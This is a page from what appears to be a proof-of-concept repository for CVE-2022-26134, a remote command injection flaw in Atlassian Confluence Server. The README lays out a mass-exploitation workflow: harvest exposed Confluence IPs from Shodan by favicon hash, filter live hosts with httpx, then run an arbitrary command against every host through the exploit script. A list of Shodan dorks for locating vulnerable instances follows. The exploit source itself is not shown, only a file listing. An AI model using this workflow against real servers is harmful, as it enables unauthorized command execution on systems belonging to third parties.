CVE-2022-26134 PoC — Atlassian Confluence Server 注入漏洞

Source

Associated Vulnerability

Readme

# CVE-2022-26134

1) First run the shodan scripts to grabs all the ips <br><br>
   `python3 shodan_script.py -API your_api -L limit -D "http.favicon.hash:-305179312 200" > log.txt`
   <br>   
   `ex: python3 shodan_script.py -API xxxxxxx -L 10 -D "http.favicon.hash:-305179312 200" > log.txt`

2) For all valid ips : <br><br>
   `cat log.txt | httpx -o forexploits.txt`
   
3) Run Exploit against the list "forexploits.txt" : <br><br>
   `python3 CVE-2022-26134.py forexploits.txt "whoami"` <br><br>
    which prints the ip and command for vulnerable hosts.

# Shodan_Dorks for CVE-2022-26134
`http.component:"atlassian confluence"`<br> <br>
`http.favicon.hash:-305179312"`<br> <br>
`http.title:"Log In - Confluence" 200`<br> <br>
`http.component:"atlassian confluence" http.title:"Log In - Confluence" 200`<br> <br>
`http.favicon.hash:-305179312 200`<br> <br>

File Snapshot

 [4.0K]  /data/pocs/e3fa7647303c304700733414605ff7d99b552651
├── [2.5K]  CVE-2022-26134.py
├── [ 861]  README.md
└── [1.1K]  shodan_script.py

0 directories, 3 files

Remarks